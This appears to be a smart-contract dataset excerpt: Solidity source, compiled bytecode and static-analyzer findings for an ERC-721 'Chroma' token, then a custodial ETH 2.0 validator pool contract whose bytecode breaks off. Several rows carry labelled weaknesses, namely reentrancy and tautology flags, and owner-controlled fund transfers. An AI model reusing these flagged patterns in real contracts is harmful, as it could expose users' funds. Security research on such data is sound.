FungibleChromaInterface(fungibleChromaAddress).mint(msg.sender, 1);
}
function transmuteMultipleToERC20(uint256[] calldata _ids) external reentrancyGuard {
for (uint256 i = 0; i < _ids.length; i++) {
require(
idToOwner[_ids[i]] == msg.sender,
"token must be owned by sender"
);
_transfer(address(this), _ids[i]);
}
FungibleChromaInterface(fungibleChromaAddress).mint(
msg.sender,
_ids.length
);
}
//////////////////////////
//// ERC 721 and 165 ////
//////////////////////////
function isContract(address _addr)
internal
view
returns (bool addressCheck)
{
uint256 size;
assembly {
size := extcodesize(_addr)
} // solhint-disable-line
addressCheck = size > 0;
}
function supportsInterface(bytes4 _interfaceID)
external
view
override
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
override
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
override
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
function ownerOf(uint256 _tokenId)
external
view
override
returns (address _owner)
{
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId)
external
view
override
validNFToken(_tokenId)
returns (address)
{
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator)
external
view
override
returns (bool)
{
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function getOwnedTokenIds(address owner)
public
view
returns (uint256[] memory)
{
uint256 length = ownerToIds[owner].length;
uint256[] memory owned = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
owned[i] = ownerToIds[owner][i];
}
return owned;
}
//////////////////////////
//// Metadata ////
//////////////////////////
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return _name Representing name.
*/
function name() external view returns (string memory _name) {
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return _symbol Representing symbol.
*/
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
}
|
0x608060405234801561001057600080fd5b506004361061023d5760003560e01c80638189ea031161013b578063bad4790b116100b8578063e4f253871161007c578063e4f25387146104d2578063e7a2813d146104e5578063e985e9c5146104f8578063fc6f94681461050b578063feb3d3d6146105135761023d565b8063bad4790b14610473578063bf1792b314610486578063bfc206ed14610499578063c6583449146104ac578063cb5085cb146104bf5761023d565b806395d89b41116100ff57806395d89b411461041f578063a22cb46514610427578063a7d6c42a1461043a578063b1521e081461044d578063b88d4fde146104605761023d565b80638189ea03146103d65780638204e572146103e95780638e499bcf146103fc5780638e4f860b146104045780638fba8d5c1461040c5761023d565b80633be6d536116101c95780636352211e1161018d5780636352211e146103775780636d4e92a91461038a578063704b6c021461039d57806370a08231146103b05780637e6ed924146103c35761023d565b80633be6d5361461031657806340adac5f1461032957806342842e0e1461033c578063466f68761461034f5780634fac7e41146103575761023d565b8063095ea7b311610210578063095ea7b3146102c057806318160ddd146102d55780631d6a8b4a146102dd57806323b872dd146102f05780632f745c59146103035761023d565b806301ffc9a71461024257806306fdde031461026b578063081812fc14610280578063093357cf146102a0575b600080fd5b610255610250366004611c42565b610526565b6040516102629190611e52565b60405180910390f35b610273610549565b6040516102629190611e5d565b61029361028e366004611c7a565b6105df565b6040516102629190611da4565b6102b36102ae366004611c7a565b61063b565b60405161026291906120b1565b6102d36102ce366004611b74565b610644565b005b6102b3610769565b6102556102eb366004611b9f565b61076f565b6102d36102fe366004611a69565b610819565b6102b3610311366004611b74565b61094b565b6102b3610324366004611c7a565b6109a6565b6102b3610337366004611c7a565b6109b8565b6102d361034a366004611a69565b6109ca565b6102936109ea565b61036a610365366004611a15565b6109f9565b6040516102629190611e0e565b610293610385366004611c7a565b610aba565b6102b3610398366004611c7a565b610af7565b6102d36103ab366004611a15565b610afd565b6102b36103be366004611a15565b610b54565b6102d36103d1366004611a15565b610b78565b6102b36103e4366004611c7a565b610bc9565b6102b36103f7366004611c92565b610bcf565b6102b3610be4565b610293610bea565b61027361041a366004611c7a565b610bf9565b610273610c7a565b6102d3610435366004611b43565b610cdb565b6102d3610448366004611c7a565b610d4a565b6102d361045b366004611a15565b610e19565b6102d361046e366004611aa9565b610e6a565b6102d3610481366004611c7a565b610eb3565b610273610494366004611c7a565b610f82565b6102936104a7366004611c7a565b610fe2565b6102d36104ba366004611bd3565b610ffd565b6102556104cd366004611b9f565b6110fe565b6102736104e0366004611c7a565b611136565b6102d36104f3366004611bd3565b611182565b610255610506366004611a31565b611252565b610293611280565b6102b3610521366004611b74565b611294565b6001600160e01b0319811660009081526001602052604090205460ff165b919050565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105d55780601f106105aa576101008083540402835291602001916105d5565b820191906000526020600020905b8154815290600101906020018083116105b857829003601f168201915b5050505050905090565b60008181526002602052604081205482906001600160a01b031661061e5760405162461bcd60e51b815260040161061590611ea7565b60405180910390fd5b50506000908152600360205260409020546001600160a01b031690565b60081c60ff1690565b60008181526002602052604090205481906001600160a01b03163381148061068f57506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6106ab5760405162461bcd60e51b815260040161061590611f2b565b60008381526002602052604090205483906001600160a01b03166106e15760405162461bcd60e51b815260040161061590611ea7565b6000848152600260205260409020546001600160a01b0390811690861681141561070a57600080fd5b60008581526003602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b60005490565b600a546000906001600160a01b0316331461079c5760405162461bcd60e51b815260040161061590611fb5565b60006107a93085856112c5565b600b546040516340c10f1960e01b81529192506001600160a01b0316906340c10f19906107dc9088908790600401611df5565b600060405180830381600087803b1580156107f657600080fd5b505af115801561080a573d6000803e3d6000fd5b509293505050505b9392505050565b60008181526002602052604090205481906001600160a01b03163381148061085757506000828152600360205260409020546001600160a01b031633145b8061088557506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6108a15760405162461bcd60e51b815260040161061590611f54565b60008381526002602052604090205483906001600160a01b03166108d75760405162461bcd60e51b815260040161061590611ea7565b6000848152600260205260409020546001600160a01b0390811690871681146109125760405162461bcd60e51b815260040161061590611fde565b6001600160a01b0386166109385760405162461bcd60e51b815260040161061590612035565b61094286866113f2565b50505050505050565b6001600160a01b038216600090815260056020526040812054821061096f57600080fd5b6001600160a01b038316600090815260056020526040902080548390811061099357fe5b9060005260206000200154905092915050565b600c6020526000908152604090205481565b60066020526000908152604090205481565b6109e58383836040518060200160405280600081525061146d565b505050565b600a546001600160a01b031681565b6001600160a01b0381166000908152600560205260408120546060918167ffffffffffffffff81118015610a2c57600080fd5b50604051908082528060200260200182016040528015610a56578160200160208202803683370190505b50905060005b82811015610ab2576001600160a01b0385166000908152600560205260409020805482908110610a8857fe5b9060005260206000200154828281518110610a9f57fe5b6020908102919091010152600101610a5c565b509392505050565b6000818152600260205260408120546001600160a01b0316610adb57600080fd5b506000908152600260205260409020546001600160a01b031690565b60101c90565b60095461010090046001600160a01b03163314610b2c5760405162461bcd60e51b815260040161061590611ecf565b600980546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60006001600160a01b038216610b6957600080fd5b610b7282611643565b92915050565b60095461010090046001600160a01b03163314610ba75760405162461bcd60e51b815260040161061590611ecf565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60ff1690565b6000610bdc84848461165e565b949350505050565b60005481565b600b546001600160a01b031681565b6040805160028082528183019092526060919083906000908360208201818036833701905050905060005b83811015610c7157601086069250610c3b83611672565b8260018387030381518110610c4c57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610c24565b50949350505050565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105d55780601f106105aa576101008083540402835291602001916105d5565b3360008181526004602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3190610d3e908590611e52565b60405180910390a35050565b60095460ff1615610d5a57600080fd5b6009805460ff191660011790556000818152600260205260409020546001600160a01b03163014610d9d5760405162461bcd60e51b815260040161061590611e70565b600b54604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90610dd0903390600190600401611df5565b600060405180830381600087803b158015610dea57600080fd5b505af1158015610dfe573d6000803e3d6000fd5b50505050610e0c33826113f2565b506009805460ff19169055565b60095461010090046001600160a01b03163314610e485760405162461bcd60e51b815260040161061590611ecf565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b610eac85858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061146d92505050565b5050505050565b60095460ff1615610ec357600080fd5b6009805460ff191660011790556000818152600260205260409020546001600160a01b03163314610f065760405162461bcd60e51b815260040161061590611e70565b610f1030826113f2565b600b546040516340c10f1960e01b81526001600160a01b03909116906340c10f1990610f43903390600190600401611df5565b600060405180830381600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b50506009805460ff19169055505050565b60606000610f9261041a84610af7565b90506000610fa261041a8561063b565b90506000610fb261041a86610bc9565b9050828282604051602001610fc993929190611ce9565b6040516020818303038152906040529350505050919050565b6002602052600090815260409020546001600160a01b031681565b60095460ff161561100d57600080fd5b6009805460ff1916600117905560005b8181101561108b57600083838381811061103357fe5b6020908102929092013560008181526002909352604090922054919250506001600160a01b031630146110785760405162461bcd60e51b815260040161061590611e70565b61108233826113f2565b5060010161101d565b50600b54604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac906110be9033908590600401611df5565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b50506009805460ff1916905550505050565b600a546000906001600160a01b0316331461112b5760405162461bcd60e51b815260040161061590611fb5565b610bdc8484846112c5565b6060600061114b61114684610af7565b6116b6565b9050600061115b6111468561063b565b9050600061116b61114686610bc9565b9050828282604051602001610fc993929190611d2c565b60095460ff161561119257600080fd5b6009805460ff1916600117905560005b8181101561121f5733600260008585858181106111bb57fe5b60209081029290920135835250810191909152604001600020546001600160a01b0316146111fb5760405162461bcd60e51b815260040161061590611e70565b6112173084848481811061120b57fe5b905060200201356113f2565b6001016111a2565b50600b546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906110be9033908590600401611df5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b60095461010090046001600160a01b031681565b600560205281600052604060002081815481106112b057600080fd5b90600052602060002001600091509150505481565b6000828152600c602052604081205461010090830111156112f85760405162461bcd60e51b815260040161061590611f7e565b60808211156113195760405162461bcd60e51b815260040161061590612062565b6000838152600c6020526040812080548481019091559061133c85610100611788565b9050600061134c8661010061179b565b9050866001600160a01b03167fb5641ad17488c54732af99a64efcc03d8550750307f799ebf3b3cd7f944c3a3d600054878686866040516113919594939291906120ba565b60405180910390a2825b8584018110156113b9576113b1888484846117ba565b60010161139b565b506000868152600c602052604090205461010014156113de5760019350505050610812565b505060008054840181559150509392505050565b6000818152600260205260409020546001600160a01b0316611413826117d4565b61141d8183611811565b611427838361195b565b81836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008281526002602052604090205482906001600160a01b0316338114806114ab57506000828152600360205260409020546001600160a01b031633145b806114d957506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6114f55760405162461bcd60e51b815260040161061590611f54565b60008481526002602052604090205484906001600160a01b031661152b5760405162461bcd60e51b815260040161061590611ea7565b6000858152600260205260409020546001600160a01b0390811690881681146115665760405162461bcd60e51b81526004016106159061200b565b6001600160a01b03871661157957600080fd5b61158387876113f2565b61158c876119fa565b1561163957604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a02906115c69033908d908c908c90600401611db8565b602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116189190611c5e565b90506001600160e01b03198116630a85bd0160e11b1461163757600080fd5b505b5050505050505050565b6001600160a01b031660009081526005602052604090205490565b601083901b600883901b0181019392505050565b600060098260ff161161168c57506030810160f81b610544565b8160ff16600a111580156116a45750600f8260ff1611155b1561023d57506057810160f81b610544565b6060816116db57506040805180820190915260018152600360fc1b6020820152610544565b8160005b81156116f357600101600a820491506116df565b60008167ffffffffffffffff8111801561170c57600080fd5b506040519080825280601f01601f191660200182016040528015611737576020820181803683370190505b50859350905060001982015b8315610c7157600a840660300160f81b8282806001900393508151811061176657fe5b60200101906001600160f81b031916908160001a905350600a84049350611743565b600081838161179357fe5b049392505050565b60008082116117a957600080fd5b8183816117b257fe5b069392505050565b6117ce846117c985858561165e565b61195b565b50505050565b6000818152600360205260409020546001600160a01b03161561180e57600081815260036020526040902080546001600160a01b03191690555b50565b6000818152600260205260409020546001600160a01b0383811691161461184a5760405162461bcd60e51b81526004016106159061200b565b600081815260026020908152604080832080546001600160a01b031916905560068252808320546001600160a01b03861684526005909252822054909190611893906001611a00565b905081811461191e576001600160a01b03841660009081526005602052604081208054839081106118c057fe5b906000526020600020015490508060056000876001600160a01b03166001600160a01b0316815260200190815260200160002084815481106118fe57fe5b600091825260208083209091019290925591825260069052604090208290555b6001600160a01b038416600090815260056020526040902080548061193f57fe5b6001900381819060005260206000200160009055905550505050565b6000818152600260205260409020546001600160a01b0316156119905760405162461bcd60e51b815260040161061590611ef4565b600081815260026020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558084526005835290832080546001818101835582865293852001859055925290546119e791611a00565b6000918252600660205260409091205550565b3b151590565b600082821115611a0f57600080fd5b50900390565b600060208284031215611a26578081fd5b813561081281612109565b60008060408385031215611a43578081fd5b8235611a4e81612109565b91506020830135611a5e81612109565b809150509250929050565b600080600060608486031215611a7d578081fd5b8335611a8881612109565b92506020840135611a9881612109565b929592945050506040919091013590565b600080600080600060808688031215611ac0578081fd5b8535611acb81612109565b94506020860135611adb81612109565b935060408601359250606086013567ffffffffffffffff80821115611afe578283fd5b818801915088601f830112611b11578283fd5b813581811115611b1f578384fd5b896020828501011115611b30578384fd5b9699959850939650602001949392505050565b60008060408385031215611b55578182fd5b8235611b6081612109565b915060208301358015158114611a5e578182fd5b60008060408385031215611b86578182fd5b8235611b9181612109565b946020939093013593505050565b600080600060608486031215611bb3578283fd5b8335611bbe81612109565b95602085013595506040909401359392505050565b60008060208385031215611be5578182fd5b823567ffffffffffffffff80821115611bfc578384fd5b818501915085601f830112611c0f578384fd5b813581811115611c1d578485fd5b8660208083028501011115611c30578485fd5b60209290920196919550909350505050565b600060208284031215611c53578081fd5b81356108128161211e565b600060208284031215611c6f578081fd5b81516108128161211e565b600060208284031215611c8b578081fd5b5035919050565b600080600060608486031215611ca6578283fd5b505081359360208301359350604090920135919050565b60008151808452611cd58160208601602086016120dd565b601f01601f19169290920160200192915050565b60008451611cfb8184602089016120dd565b845190830190611d0f8183602089016120dd565b8451910190611d228183602088016120dd565b0195945050505050565b6000630e4cec4560e31b82528451611d4b8160048501602089016120dd565b8083019050600b60fa1b8060048301528551611d6e816005850160208a016120dd565b60059201918201528351611d898160068401602088016120dd565b602960f81b6006929091019182015260070195945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611deb90830184611cbd565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015611e4657835183529284019291840191600101611e2a565b50909695505050505050565b901515815260200190565b6000602082526108126020830184611cbd565b6020808252601d908201527f746f6b656e206d757374206265206f776e65642062792073656e646572000000604082015260600190565b6020808252600e908201526d24b73b30b634b2103a37b5b2b71760911b604082015260600190565b6020808252600b908201526a27b7363c9030b236b4b71760a91b604082015260600190565b6020808252601a908201527f43616e6e6f74206164642c20616c7265616479206f776e65642e000000000000604082015260600190565b6020808252600f908201526e21b0b73737ba1037b832b930ba329760891b604082015260600190565b60208082526010908201526f21b0b73737ba103a3930b739b332b91760811b604082015260600190565b60208082526018908201527f65786365656473206368726f6d612072656d61696e696e670000000000000000604082015260600190565b6020808252600f908201526e27b7363c9026b4b73a10283637ba1760891b604082015260600190565b6020808252601390820152722bb937b73390333937b69030b2323932b9b99760691b604082015260600190565b60208082526010908201526f24b731b7b93932b1ba1037bbb732b91760811b604082015260600190565b60208082526013908201527221b0b73737ba1039b2b732103a3790183c181760691b604082015260600190565b6020808252602f908201527f63616e6e6f74207472616e736d757465206d6f7265207468616e20313238206360408201526e68726f6d6120617420612074696d6560881b606082015260800190565b90815260200190565b948552602085019390935260408401919091526060830152608082015260a00190565b60005b838110156120f85781810151838201526020016120e0565b838111156117ce5750506000910152565b6001600160a01b038116811461180e57600080fd5b6001600160e01b03198116811461180e57600080fdfea2646970667358221220fd8ede9737452847bcc98c4f6ae18c191a3d824822cb73d5f290ea73dac5075964736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,360 |
0x6cb07d3062a137adca0614dfc88d3a885b26c52f
|
/**
*Submitted for verification at Etherscan.io on 2020-12-21
*/
/** EthereumStake.Farm ETH 2.0 Validation pool
*
* This contract is our early version of the pool for ETH 2.0 Phase 0.
* There are some important things you should be aware of before depositing to this pool:
* - Currently this pool is custodial and centralized.
* - Phase 0 of ETH 2.0 doesn't yet support withdrawals.
* - This pool requires depositors to have some staked ETHYS.
*
* When ETH 2.0 support withdrawing to smart contracts we will upgrade the pool.
* You will be able to import your EVPS-V1 tokens into the decentralized system
* once it is avaliable.
*
* Until we can migrate to a decentralized solution (when ETH 2.0 Supports this) the
* _owner address will have an incredible amount of power within this contract.
* This will be fully mitigated in the decentralized migration.
*
* - Team ETHY
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma experimental ABIEncoderV2;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IStakingPool {
struct StakeInfo {
uint256 reward;
uint256 initial;
uint256 stakePayday;
uint256 startday;
}
function stakes(address addr) external view returns (StakeInfo memory);
}
// ETHYS Validator Pool Deposits Version 1
contract EthysV1ValidatorPool is Ownable {
using SafeMath for uint256;
IStakingPool public stakingPool;
uint256 public minimumStakeRatio = 1e18;
uint256 public minimumDeposit = 1e15;
uint256 public maximumDeposits = 32e18;
uint256 public totalDeposits = 0;
address public withdrawer;
struct UserInfo {
uint256 stakeUtilized;
uint256 stake;
uint256 stakePayday;
uint256 deposit;
uint256 depositDate;
}
mapping(address => UserInfo) public user;
constructor(address _stakingPool) public {
stakingPool = IStakingPool(_stakingPool);
}
// Calculates the minimum stake required for a given eth deposit.
function calculateMinimumStakeFor(uint256 _wei) public view returns(uint256) {
return _wei.mul(minimumStakeRatio).div(1e18);
}
function _syncUser(address addr) internal {
UserInfo storage u = user[addr];
// OPnly update expired stakes:
if (block.timestamp < u.stakePayday) return;
// Fetch stake info
IStakingPool.StakeInfo memory info = stakingPool.stakes(addr);
// Update user info with new stake info
u.stakeUtilized = 0;
u.stake = info.initial.add(info.reward);
u.stakePayday = info.stakePayday;
}
// deposit ethereum for the ETH 2.0 pool. Requires an active stake in the ETHYS Staking pool
function deposit() public payable {
require(msg.value > minimumDeposit, "Minimum Deposit");
require(totalDeposits.add(msg.value) <= maximumDeposits, "Maximum deposit limit hit");
// Calculate stake required for this deposit
uint256 stakeRequired = calculateMinimumStakeFor(msg.value);
// Fetch users stake info if applicable
_syncUser(msg.sender);
UserInfo storage u = user[msg.sender];
require(u.stakePayday > block.timestamp, "stake has expired");
require(u.stake.sub(u.stakeUtilized) >= stakeRequired, "not enough staked to cover this deposit");
//update the user
u.stakeUtilized = u.stakeUtilized.add(stakeRequired);
u.deposit = u.deposit.add(msg.value);
u.depositDate = block.timestamp;
// Deposit successful
totalDeposits = totalDeposits.add(msg.value);
}
// clearUser only withdrawer can do this.
function clearUser(address _user) public {
require(msg.sender == withdrawer, "only withdrawer can do this");
UserInfo storage u = user[_user];
totalDeposits = totalDeposits.sub(u.deposit);
// zero out stats
u.stake = 0;
u.stakeUtilized = 0;
u.stakePayday = 0;
u.deposit = 0;
u.depositDate = 0;
}
// owner functions
function setWithdrawer(address addr) public onlyOwner { withdrawer = addr; }
function setStakingPool(address addr) public onlyOwner { stakingPool = IStakingPool(addr); }
function setMinimum(uint256 amount) public onlyOwner { minimumDeposit = amount; }
function setMaximum(uint256 amount) public onlyOwner { maximumDeposits = amount; }
function setStakeRatio(uint256 ratio) public onlyOwner { minimumStakeRatio = ratio; }
function sendToValidator(address payable validator, uint256 amount) public onlyOwner { validator.transfer(amount); }
}
|
0x6080604052600436106101145760003560e01c80637c17dbc5116100a0578063bd45269611610064578063bd4526961461037b578063cdc18424146103a6578063d0e30db0146103d1578063ee177c3f146103db578063f2fde38b1461040457610114565b80637c17dbc51461027e5780637d882097146102a757806381e7e20e146102d25780638da5cb5b146103135780639564af4a1461033e57610114565b80633028f63a116100e75780633028f63a146101bf5780633209e9e6146101e85780634642b63d14610211578063636bfbab1461023c578063715018a61461026757610114565b8063038f6230146101195780630c56ae3b146101425780630d174c241461016d5780632538618314610196575b600080fd5b34801561012557600080fd5b50610140600480360381019061013b91906114c2565b61042d565b005b34801561014e57600080fd5b506101576104cd565b604051610164919061181e565b60405180910390f35b34801561017957600080fd5b50610194600480360381019061018f9190611434565b6104f3565b005b3480156101a257600080fd5b506101bd60048036038101906101b891906114c2565b6105cd565b005b3480156101cb57600080fd5b506101e660048036038101906101e19190611434565b61066d565b005b3480156101f457600080fd5b5061020f600480360381019061020a91906114c2565b610747565b005b34801561021d57600080fd5b506102266107e7565b604051610233919061197b565b60405180910390f35b34801561024857600080fd5b506102516107ed565b60405161025e919061197b565b60405180910390f35b34801561027357600080fd5b5061027c6107f3565b005b34801561028a57600080fd5b506102a560048036038101906102a09190611434565b610948565b005b3480156102b357600080fd5b506102bc610a70565b6040516102c9919061197b565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190611434565b610a76565b60405161030a959493929190611996565b60405180910390f35b34801561031f57600080fd5b50610328610aac565b6040516103359190611803565b60405180910390f35b34801561034a57600080fd5b50610365600480360381019061036091906114c2565b610ad5565b604051610372919061197b565b60405180910390f35b34801561038757600080fd5b50610390610b0d565b60405161039d919061197b565b60405180910390f35b3480156103b257600080fd5b506103bb610b13565b6040516103c89190611803565b60405180910390f35b6103d9610b39565b005b3480156103e757600080fd5b5061040260048036038101906103fd919061145d565b610d38565b005b34801561041057600080fd5b5061042b60048036038101906104269190611434565b610e19565b005b610435610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ba906118fb565b60405180910390fd5b8060028190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104fb610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610589576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610580906118fb565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555